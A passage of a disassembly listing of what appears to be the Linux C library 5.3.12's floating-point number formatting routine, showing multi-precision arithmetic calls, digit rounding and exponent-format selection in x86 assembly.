		mov	eax, [ebp+var_24]
		inc	eax
		mov	ebx, eax
		sub	ebx, edi
		lea	eax, ds:0[ebx*4]
		add	eax, [ebp+var_20]
		cmp	dword ptr [eax-4], 0
		jnz	short loc_8053F01

loc_8053EFC:				; CODE XREF: sub_8053310+B8Aj
		mov	ebx, [ebp+var_24]

loc_8053EFF:				; CODE XREF: sub_8053310+B90j
		sub	ebx, edi

loc_8053F01:				; CODE XREF: sub_8053310+BEAj
		mov	[ebp+var_24], ebx
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053F0C:				; CODE XREF: sub_8053310+3EDj
		cmp	[ebp+var_18], 0
		jge	loc_8054394
		mov	[ebp+var_6C], 0
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_74], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
		mov	eax, [ebp+var_58]
		push	eax
		mov	edx, [ebp+var_24]
		push	edx
		lea	ecx, [ebp+var_44]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_lshift
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		mov	edx, [ebp+var_24]
		shl	edx, 2
		mov	[ebp+var_A0], edx
		mov	ecx, [ebp+var_20]
		mov	[ecx+edx], ebx
		inc	[ebp+var_24]
		mov	[ebp+var_10], 1
		neg	[ebp+var_18]
		add	esp, 10h
		mov	[ebp+var_98], 8068E80h
		lea	esi, [esi+0]

loc_8053F74:				; CODE XREF: sub_8053310+FD6j
		add	[ebp+var_98], 0FFFFFFF0h
		add	[ebp+var_74], 0FFFFFFF0h
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_98]
		cmp	[eax+8], edx
		jg	loc_80542D6
		mov	ebx, [eax]
		add	ebx, 0FFFFFFFEh
		cmp	[ebp+var_24], ebx
		jge	short loc_8053FB4
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		push	ebx
		mov	edx, [ebp+var_74]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_30]
		push	ecx
		jmp	short loc_8053FD5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053FB4:				; CODE XREF: sub_8053310+C89j
		mov	eax, [ebp+var_98]
		mov	eax, [eax]
		add	eax, 0FFFFFFFEh
		push	eax
		mov	edx, [ebp+var_74]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	eax, [ebp+var_20]
		push	eax
		mov	edx, [ebp+var_30]
		push	edx

loc_8053FD5:				; CODE XREF: sub_8053310+CA1j
		call	__mpn_mul
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		add	esp, 14h
		mov	ebx, [ebp+var_24]
		mov	ecx, [ebp+var_98]
		add	ebx, [ecx]
		add	ebx, 0FFFFFFFEh
		cmp	[ebp+var_28], 0
		jnz	short loc_8053FF7
		dec	ebx

loc_8053FF7:				; CODE XREF: sub_8053310+CE4j
		lea	eax, ds:0[ebx*4]
		add	eax, [ebp+var_30]
		add	eax, 0FFFFFFFCh
		bsr	eax, [eax]
		mov	esi, eax
		xor	esi, 1Fh
		mov	edi, ebx
		sub	edi, [ebp+var_24]
		mov	edx, edi
		shl	edx, 5
		lea	eax, [esi-1Fh]
		mov	edi, edx
		sub	edi, eax
		mov	eax, [ebp+var_18]
		add	eax, 3
		cmp	edi, eax
		jnz	short loc_805406D
		cmp	esi, 1Ch
		jg	short loc_8054048
		mov	[ebp+var_4C], 0
		mov	eax, 1Ch
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 0Ah
		shl	eax, cl
		mov	[ebp+var_48], eax
		jmp	short loc_805406D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054048:				; CODE XREF: sub_8053310+D1Aj
		mov	[ebp+var_4C], 0A0000000h
		mov	[ebp+var_48], 0
		mov	eax, 20h
		sub	eax, esi
		push	eax
		push	2
		lea	eax, [ebp+var_4C]
		push	eax
		push	eax
		call	__mpn_lshift
		add	esp, 10h

loc_805406D:				; CODE XREF: sub_8053310+D15j
					; sub_8053310+D36j
		mov	edx, [ebp+var_18]
		add	edx, 3
		mov	[ebp+var_A4], edx
		cmp	edi, edx
		jl	short loc_80540B3
		jnz	loc_80542D6
		lea	ecx, ds:0[ebx*4]
		add	ecx, [ebp+var_30]
		mov	[ebp+var_A4], ecx
		mov	eax, [ecx-4]
		mov	[ebp+var_A0], eax
		cmp	[ebp+var_48], eax
		ja	short loc_80540B3
		jnz	loc_80542D6
		mov	edx, [ecx-8]
		cmp	[ebp+var_4C], edx
		jbe	loc_80542D6

loc_80540B3:				; CODE XREF: sub_8053310+D6Bj
					; sub_8053310+D8Fj
		sub	[ebp+var_18], edi
		mov	eax, 1
		mov	ecx, [ebp+var_70]
		shl	eax, cl
		or	[ebp+var_6C], eax
		cmp	[ebp+var_18], 0
		jge	short loc_80540CC
		sub	esi, [ebp+var_18]

loc_80540CC:				; CODE XREF: sub_8053310+DB7j
		xor	edi, edi
		mov	eax, [ebp+var_30]
		mov	[ebp+var_A4], eax
		cmp	dword ptr [eax], 0
		jnz	short loc_8054106
		mov	[ebp+var_A0], eax
		mov	[ebp+var_A4], 0

loc_80540EC:				; CODE XREF: sub_8053310+DF4j
		add	[ebp+var_A4], 4
		inc	edi
		mov	edx, [ebp+var_A4]
		mov	ecx, [ebp+var_A0]
		cmp	dword ptr [ecx+edx], 0
		jz	short loc_80540EC

loc_8054106:				; CODE XREF: sub_8053310+DCAj
		cmp	esi, 1Fh
		jnz	loc_8054234
		mov	eax, ebx
		sub	eax, edi
		mov	[ebp+var_9C], eax
		test	eax, eax
		jle	loc_8054229
		mov	edx, [ebp+var_20]
		mov	[ebp+var_A4], edx
		lea	ecx, ds:0[edi*4]
		mov	[ebp+var_A0], ecx
		xor	esi, esi
		shl	eax, 2
		mov	[ebp+var_94], eax
		mov	edx, [ebp+var_9C]
		and	edx, 3
		mov	[ebp+var_9C], edx
		jz	short loc_80541BA
		cmp	edx, 1
		jle	short loc_8054194
		cmp	edx, 2
		jle	short loc_8054176
		add	ecx, [ebp+var_30]
		mov	ecx, [ecx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	esi, 4

loc_8054176:				; CODE XREF: sub_8053310+E4Bj
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax+esi], ecx
		add	[ebp+var_A0], 4
		add	esi, 4

loc_8054194:				; CODE XREF: sub_8053310+E46j
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax+esi], ecx
		add	[ebp+var_A0], 4
		add	esi, 4
		cmp	[ebp+var_94], esi
		jz	short loc_8054229

loc_80541BA:				; CODE XREF: sub_8053310+E41j
		mov	edx, [ebp+var_A4]
		add	edx, esi
		mov	[ebp+var_A4], edx

loc_80541C8:				; CODE XREF: sub_8053310+F17j
		mov	ecx, [ebp+var_A0]
		add	ecx, [ebp+var_30]
		mov	eax, [ecx]
		mov	edx, [ebp+var_A4]
		mov	[edx], eax
		mov	ecx, [ebp+var_A0]
		add	ecx, [ebp+var_30]
		mov	eax, [ecx+4]
		mov	[edx+4], eax
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx+8]
		mov	eax, [ebp+var_A4]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_30]
		mov	ecx, [edx+0Ch]
		mov	[eax+0Ch], ecx
		add	[ebp+var_A0], 10h
		add	eax, 10h
		mov	[ebp+var_A4], eax
		add	esi, 10h
		cmp	[ebp+var_94], esi
		jnz	short loc_80541C8

loc_8054229:				; CODE XREF: sub_8053310+E0Bj
					; sub_8053310+EA8j
		sub	ebx, edi
		mov	[ebp+var_24], ebx
		jmp	loc_80542D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054234:				; CODE XREF: sub_8053310+DF9j
		lea	eax, ds:0[edi*4]
		mov	edx, [ebp+var_30]
		mov	[ebp+var_A4], edx
		bsf	ecx, [edx+eax]
		mov	[ebp+var_A0], ecx
		test	edi, edi
		jnz	short loc_805428C
		mov	eax, 1Fh
		sub	eax, esi
		cmp	eax, ecx
		jle	short loc_805429B
		inc	esi
		mov	[ebp+var_9C], esi
		push	esi
		push	ebx
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_lshift
		mov	esi, eax
		mov	[ebp+var_28], esi
		lea	edx, [ebx+1]
		mov	[ebp+var_24], edx
		lea	ebx, ds:4[ebx*4]
		mov	ecx, ebx
		add	ecx, [ebp+var_20]
		mov	[ecx-4], esi
		jmp	short loc_80542D3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805428C:				; CODE XREF: sub_8053310+F40j
		mov	eax, 1Fh
		sub	eax, esi
		cmp	[ebp+var_A0], eax
		jl	short loc_80542B0

loc_805429B:				; CODE XREF: sub_8053310+F4Bj
		mov	eax, 1Fh
		sub	eax, esi
		push	eax
		sub	ebx, edi
		push	ebx
		lea	eax, ds:0[edi*4]
		jmp	short loc_80542C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80542B0:				; CODE XREF: sub_8053310+F89j
		mov	eax, 1Fh
		sub	eax, esi
		push	eax
		inc	ebx
		sub	ebx, edi
		push	ebx
		lea	eax, ds:0FFFFFFFCh[edi*4]

loc_80542C3:				; CODE XREF: sub_8053310+F9Dj
		add	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_rshift
		mov	[ebp+var_24], ebx

loc_80542D3:				; CODE XREF: sub_8053310+F7Aj
		add	esp, 10h

loc_80542D6:				; CODE XREF: sub_8053310+C7Bj
					; sub_8053310+D6Dj ...
		dec	[ebp+var_70]
		cmp	[ebp+var_74], offset off_8068DBC
		jz	short loc_80542EC
		cmp	[ebp+var_18], 0
		jg	loc_8053F74

loc_80542EC:				; CODE XREF: sub_8053310+FD0j
		cmp	[ebp+var_18], 0
		jle	loc_805438B
		push	0Ah
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	__mpn_mul_1
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_24]
		mov	eax, [ebp+var_30]
		bsf	esi, [eax]
		add	esp, 10h
		cmp	[ebp+var_18], 4
		jg	short loc_8054328
		cmp	[ebp+var_18], esi
		jg	short loc_805432D
		jmp	short loc_8054364
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054328:				; CODE XREF: sub_8053310+100Cj
		cmp	esi, 3
		jg	short loc_8054364

loc_805432D:				; CODE XREF: sub_8053310+1011j
		mov	esi, 1Ch
		cmp	[ebp+var_18], 4
		jg	short loc_8054340
		mov	esi, 20h
		sub	esi, [ebp+var_18]

loc_8054340:				; CODE XREF: sub_8053310+1026j
		push	esi
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_lshift
		mov	esi, eax
		mov	[ebp+var_28], esi
		add	esp, 10h
		test	esi, esi
		jz	short loc_8054384
		mov	eax, [ebp+var_20]
		mov	[eax+ebx*4], esi
		inc	ebx
		jmp	short loc_8054384
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054364:				; CODE XREF: sub_8053310+1013j
					; sub_8053310+101Bj
		mov	esi, 4
		cmp	[ebp+var_18], 4
		jg	short loc_8054372
		mov	esi, [ebp+var_18]

loc_8054372:				; CODE XREF: sub_8053310+105Dj
		push	esi
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_rshift
		add	esp, 10h

loc_8054384:				; CODE XREF: sub_8053310+1049j
					; sub_8053310+1052j
		mov	[ebp+var_24], ebx
		or	byte ptr [ebp+var_6C], 1

loc_805438B:				; CODE XREF: sub_8053310+FE0j
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_18], eax
		jmp	short loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054394:				; CODE XREF: sub_8053310+C00j
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		push	edx
		mov	ecx, [ebp+var_24]
		push	ecx
		lea	eax, [ebp+var_44]
		push	eax
		mov	edx, [ebp+var_20]
		push	edx
		call	__mpn_lshift
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		mov	ecx, [ebp+var_24]
		shl	ecx, 2
		mov	[ebp+var_A0], ecx
		mov	eax, [ebp+var_20]
		mov	[eax+ecx], ebx
		inc	[ebp+var_24]
		mov	[ebp+var_18], 0
		add	esp, 10h

loc_80543D0:				; CODE XREF: sub_8053310+7E9j
					; sub_8053310+85Aj ...
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+4]
		mov	[ebp+var_78], edx
		mov	[ebp+var_80], 0
		mov	[ebp+var_88], 0
		mov	ecx, [ebp+arg_4]
		movzx	ebx, byte ptr [ecx+8]
		mov	eax, dword_8078FA4
		cmp	dword ptr [eax+ebx*4], 65h
		jnz	short loc_8054420
		mov	[ebp+var_14], ebx
		mov	[ebp+var_7C], 1
		mov	esi, [ecx]
		test	esi, esi
		jge	short loc_8054411
		mov	esi, 6

loc_8054411:				; CODE XREF: sub_8053310+10FAj
		mov	[ebp+var_84], esi
		mov	ebx, esi
		add	ebx, 8
		jmp	short loc_8054466
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054420:				; CODE XREF: sub_8053310+10EAj
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+8], 66h
		jnz	short loc_8054480
		mov	[ebp+var_14], 66h
		mov	esi, [edx]
		test	esi, esi
		jge	short loc_805443B
		mov	esi, 6

loc_805443B:				; CODE XREF: sub_8053310+1124j
		mov	[ebp+var_84], esi
		cmp	[ebp+var_10], 0
		jnz	short loc_805445C
		mov	ecx, [ebp+var_18]
		inc	ecx
		mov	[ebp+var_7C], ecx
		mov	eax, esi
		add	eax, 2
		mov	ebx, eax
		add	ebx, [ebp+var_18]
		jmp	short loc_8054466
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805445C:				; CODE XREF: sub_8053310+1135j
		mov	[ebp+var_7C], 1
		lea	ebx, [esi+2]

loc_8054466:				; CODE XREF: sub_8053310+110Cj
					; sub_8053310+1148j
		mov	[ebp+var_8C], 7FFFFFFFh
		mov	[ebp+var_90], 1
		jmp	loc_8054550
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054480:				; CODE XREF: sub_8053310+1117j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx], 0
		jl	short loc_80544A0
		mov	ecx, [edx]
		mov	[ebp+var_8C], ecx
		test	ecx, ecx
		jnz	short loc_80544AA
		mov	[ebp+var_8C], 1
		jmp	short loc_80544AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80544A0:				; CODE XREF: sub_8053310+1176j
		mov	[ebp+var_8C], 6

loc_80544AA:				; CODE XREF: sub_8053310+1182j
					; sub_8053310+118Ej
		cmp	[ebp+var_10], 0
		jnz	short loc_80544C0
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_18], eax
		jge	short loc_80544C6
		jmp	short loc_8054500
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80544C0:				; CODE XREF: sub_8053310+119Ej
		cmp	[ebp+var_18], 4
		jle	short loc_8054500

loc_80544C6:				; CODE XREF: sub_8053310+11A9j
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+8]
		mov	ebx, 65h
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+edx*2+1],	1
		jz	short loc_80544E4
		mov	ebx, 45h

loc_80544E4:				; CODE XREF: sub_8053310+11CDj
		mov	[ebp+var_14], ebx
		mov	esi, [ebp+var_8C]
		dec	esi
		mov	[ebp+var_7C], 1
		mov	ebx, [ebp+var_8C]
		add	ebx, 7
		jmp	short loc_805452D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054500:				; CODE XREF: sub_8053310+11ABj
					; sub_8053310+11B4j
		mov	[ebp+var_14], 66h
		mov	[ebp+var_7C], 0
		cmp	[ebp+var_10], 0
		jnz	short loc_805451B
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_7C], eax

loc_805451B:				; CODE XREF: sub_8053310+1202j
		mov	esi, [ebp+var_8C]
		sub	esi, [ebp+var_7C]
		mov	ebx, [ebp+var_8C]
		add	ebx, ebx
		inc	ebx

loc_805452D:				; CODE XREF: sub_8053310+11EEj
		mov	[ebp+var_84], 0
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+18h], 0
		jz	short loc_8054546
		mov	[ebp+var_84], esi

loc_8054546:				; CODE XREF: sub_8053310+122Ej
		mov	[ebp+var_90], 0

loc_8054550:				; CODE XREF: sub_8053310+116Aj
		cmp	[ebp+var_50], 0
		jz	short loc_805456E
		mov	ecx, [ebp+var_38]
		push	ecx
		mov	eax, [ebp+var_50]
		push	eax
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_8054C28
		mov	edi, eax
		add	ebx, edi
		add	esp, 0Ch

loc_805456E:				; CODE XREF: sub_8053310+1244j
		lea	eax, [ebx+5]
		and	al, 0FCh
		sub	esp, eax
		lea	edi, [esp+164h+var_162]
		mov	ebx, edi
		cmp	[ebp+var_10], 0
		jz	short loc_805458B
		cmp	[ebp+var_14], 66h
		jz	loc_8054644

loc_805458B:				; CODE XREF: sub_8053310+126Fj
		mov	ecx, [ebp+var_7C]
		cmp	[ebp+var_80], ecx
		jge	short loc_8054612
		mov	eax, ecx
		sub	eax, [ebp+var_80]
		and	eax, 3
		mov	[ebp+var_A4], eax
		jz	short loc_80545DC
		cmp	eax, 1
		jle	short loc_80545C7
		cmp	eax, 2
		jle	short loc_80545BA
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx

loc_80545BA:				; CODE XREF: sub_8053310+129Bj
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx

loc_80545C7:				; CODE XREF: sub_8053310+1296j
		inc	[ebp+var_80]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		inc	ebx
		mov	eax, [ebp+var_7C]
		cmp	[ebp+var_80], eax
		jge	short loc_8054612

loc_80545DC:				; CODE XREF: sub_8053310+1291j
					; sub_8053310+1300j
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+1], al
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+2], al
		add	[ebp+var_80], 4
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx+3], al
		add	ebx, 4
		mov	edx, [ebp+var_7C]
		cmp	[ebp+var_80], edx
		jl	short loc_80545DC

loc_8054612:				; CODE XREF: sub_8053310+1281j
					; sub_8053310+12CAj
		mov	[ebp+var_90], 1
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_805464B
		cmp	[ebp+var_84], 0
		jg	short loc_805464B
		test	esi, esi
		jle	short loc_8054651
		cmp	[ebp+var_24], 1
		jg	short loc_805464B
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jz	short loc_8054651
		jmp	short loc_805464B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054644:				; CODE XREF: sub_8053310+1275j
		mov	byte ptr [ebx],	30h
		inc	ebx
		dec	[ebp+var_18]

loc_805464B:				; CODE XREF: sub_8053310+1313j
					; sub_8053310+131Cj ...
		mov	al, byte ptr [ebp+var_34]
		mov	[ebx], al
		inc	ebx

loc_8054651:				; CODE XREF: sub_8053310+1320j
					; sub_8053310+132Ej
		mov	eax, [ebp+var_84]
		cmp	[ebp+var_88], eax
		jl	short loc_8054676
		cmp	[ebp+var_88], esi
		jge	short loc_80546C8
		nop

loc_8054668:				; CODE XREF: sub_8053310+13B6j
		cmp	[ebp+var_24], 1
		jg	short loc_8054676
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jz	short loc_80546C8

loc_8054676:				; CODE XREF: sub_8053310+134Dj
					; sub_8053310+135Cj ...
		inc	[ebp+var_88]
		mov	ecx, ebp
		call	sub_80531DC
		mov	[ebx], al
		cmp	al, 30h
		jz	short loc_8054698
		mov	[ebp+var_90], 1
		jmp	short loc_80546B1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054698:				; CODE XREF: sub_8053310+1377j
		cmp	[ebp+var_90], 0
		jnz	short loc_80546B1
		inc	esi
		cmp	[ebp+var_84], 0
		jle	short loc_80546B1
		inc	[ebp+var_84]

loc_80546B1:				; CODE XREF: sub_8053310+1383j
					; sub_8053310+138Fj ...
		inc	ebx
		mov	edx, [ebp+var_84]
		cmp	[ebp+var_88], edx
		jl	short loc_8054676
		cmp	[ebp+var_88], esi
		jl	short loc_8054668

loc_80546C8:				; CODE XREF: sub_8053310+1355j
					; sub_8053310+1364j
		mov	ecx, ebp
		call	sub_80531DC
		movzx	esi, al
		cmp	esi, 34h
		jle	loc_8054914
		mov	[ebp+var_A4], ebx
		cmp	esi, 35h
		jnz	short loc_80546FE
		cmp	[ebp+var_24], 1
		jnz	short loc_80546FE
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax], 0
		jnz	short loc_80546FE
		test	byte ptr [ebx-1], 1
		jz	loc_8054914

loc_80546FE:				; CODE XREF: sub_8053310+13D4j
					; sub_8053310+13DAj ...
		cmp	[ebp+var_88], 0
		jle	short loc_805474F
		dec	[ebp+var_A4]
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx]
		cmp	[ebp+var_34], ecx
		jz	short loc_805474F
		nop

loc_805471C:				; CODE XREF: sub_8053310+1427j
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054739
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		movzx	edx, byte ptr [eax]
		cmp	[ebp+var_34], edx
		jnz	short loc_805471C

loc_8054739:				; CODE XREF: sub_8053310+1415j
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx]
		cmp	[ebp+var_34], ecx
		jz	short loc_805474F
		mov	eax, [ebp+var_A4]
		inc	byte ptr [eax]

loc_805474F:				; CODE XREF: sub_8053310+13F5j
					; sub_8053310+1409j ...
		cmp	[ebp+var_88], 0
		jz	short loc_805476A
		mov	edx, [ebp+var_A4]
		movzx	edx, byte ptr [edx]
		cmp	[ebp+var_34], edx
		jnz	loc_8054914

loc_805476A:				; CODE XREF: sub_8053310+1446j
		mov	ecx, [ebp+var_A4]
		movzx	ecx, byte ptr [ecx-1]
		cmp	[ebp+var_34], ecx
		jnz	short loc_805477F
		dec	[ebp+var_A4]

loc_805477F:				; CODE XREF: sub_8053310+1467j
		dec	[ebp+var_A4]
		cmp	[ebp+var_A4], edi
		jb	loc_805485C
		lea	edx, [edi-1]
		mov	eax, edx
		sub	eax, [ebp+var_A4]
		mov	esi, eax
		and	esi, 3
		cmp	[ebp+var_A4], edx
		jle	short loc_80547E5
		test	esi, esi
		jz	short loc_8054800
		cmp	esi, 3
		jge	short loc_80547E5
		cmp	esi, 2
		jge	short loc_80547D0
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax

loc_80547D0:				; CODE XREF: sub_8053310+14A5j
		mov	edx, [ebp+var_A4]
		cmp	byte ptr [edx],	39h
		jnz	short loc_8054846
		mov	byte ptr [edx],	30h
		dec	edx
		mov	[ebp+var_A4], edx

loc_80547E5:				; CODE XREF: sub_8053310+1497j
					; sub_8053310+14A0j
		mov	ecx, [ebp+var_A4]
		cmp	byte ptr [ecx],	39h
		jnz	short loc_8054846
		mov	byte ptr [ecx],	30h
		dec	ecx
		mov	[ebp+var_A4], ecx
		cmp	ecx, edi
		jb	short loc_805485C
		lea	esi, [esi]

loc_8054800:				; CODE XREF: sub_8053310+149Bj
					; sub_8053310+1534j
		mov	eax, [ebp+var_A4]
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_8054846
		mov	byte ptr [eax],	30h
		dec	eax
		mov	[ebp+var_A4], eax
		cmp	eax, edi
		jnb	short loc_8054800

loc_8054846:				; CODE XREF: sub_8053310+14B0j
					; sub_8053310+14C9j ...
		cmp	[ebp+var_A4], edi
		jb	short loc_805485C
		mov	edx, [ebp+var_A4]
		inc	byte ptr [edx]
		jmp	loc_8054914
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805485C:				; CODE XREF: sub_8053310+147Bj
					; sub_8053310+14ECj ...
		cmp	[ebp+var_14], 66h
		jz	short loc_8054880
		mov	byte ptr [edi],	31h
		cmp	[ebp+var_10], 0
		jnz	short loc_8054874
		mov	esi, [ebp+var_18]
		inc	esi
		jmp	short loc_8054878
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054874:				; CODE XREF: sub_8053310+1559j
		mov	esi, [ebp+var_18]
		dec	esi

loc_8054878:				; CODE XREF: sub_8053310+155Fj
		mov	[ebp+var_18], esi
		jmp	short loc_80548F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8054880:				; CODE XREF: sub_8053310+1550j
		mov	ecx, [ebp+var_8C]
		cmp	[ebp+var_80], ecx
		jnz	short loc_80548EC
		dec	edi
		mov	al, byte ptr [ebp+var_34]
		mov	[edi], al
		dec	edi
		mov	byte ptr [edi],	31h
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_80548A7
		cmp	[ebp+var_88], 0
		jle	short loc_80548B5

loc_80548A7:				; CODE XREF: sub_8053310+158Cj
		mov	ecx, [ebp+var_80]
		mov	byte ptr [edi+ecx+2], 30h
		inc	[ebp+var_88]

loc_80548B5:				; CODE XREF: sub_8053310+1595j
		mov	eax, [ebp+var_80]
		add	[ebp+var_88], eax
		mov	[ebp+var_80], 1
		inc	[ebp+var_18]
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+8]
		mov	esi, 65h
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+edx*2+1],	1
		jz	short loc_80548E6
		mov	esi, 45h

loc_80548E6:				; CODE XREF: sub_8053310+15CFj
		mov	[ebp+var_14], esi
		jmp	short loc_80548F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80548EC:				; CODE XREF: sub_8053310+1579j
		dec	edi
		mov	byte ptr [edi],	31h
		inc	[ebp+var_80]

loc_80548F3:				; CODE XREF: sub_8053310+156Bj
					; sub_8053310+15D9j
		mov	esi, [ebp+var_80]
		add	esi, [ebp+var_88]
		cmp	[ebp+var_8C], esi
		jge	short loc_8054914
		mov	eax, esi
		sub	eax, [ebp+var_8C]
		sub	ebx, eax
		sub	[ebp+var_88], eax

loc_8054914:				; CODE XREF: sub_8053310+13C5j
					; sub_8053310+13E8j ...
		mov	eax, [ebp+var_84]
		cmp	[ebp+var_88], eax
		jle	short loc_805493F
		lea	esi, [esi]

loc_8054924:				; CODE XREF: sub_8053310+162Dj
		cmp	byte ptr [ebx-1], 30h
		jnz	short loc_805493F
		dec	ebx
		dec	[ebp+var_88]
		mov	edx, [ebp+var_84]
		cmp	[ebp+var_88], edx
		jg	short loc_8054924

loc_805493F:				; CODE XREF: sub_8053310+1610j
					; sub_8053310+1618j
		cmp	[ebp+var_88], 0
		jnz	short loc_805495B
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_805495B
		movzx	eax, byte ptr [ebx-1]
		cmp	[ebp+var_34], eax
		jnz	short loc_805495B
		dec	ebx

loc_805495B:				; CODE XREF: sub_8053310+1636j
					; sub_8053310+163Fj ...
		cmp	[ebp+var_50], 0
		jz	short loc_8054979
		mov	eax, [ebp+var_38]
		push	eax
		mov	edx, [ebp+var_50]
		push	edx
		mov	ecx, [ebp+var_80]
		push	ecx
		push	ebx
		push	edi
		call	sub_8054C7C
		mov	ebx, eax
		add	esp, 14h

loc_8054979:				; CODE XREF: sub_8053310+164Fj
		cmp	[ebp+var_14], 66h
		jz	loc_8054A32
		mov	al, byte ptr [ebp+var_14]
		mov	[ebx], al
		inc	ebx
		mov	esi, ebx
		inc	ebx
		mov	byte ptr [ebp+var_A4], 2Bh
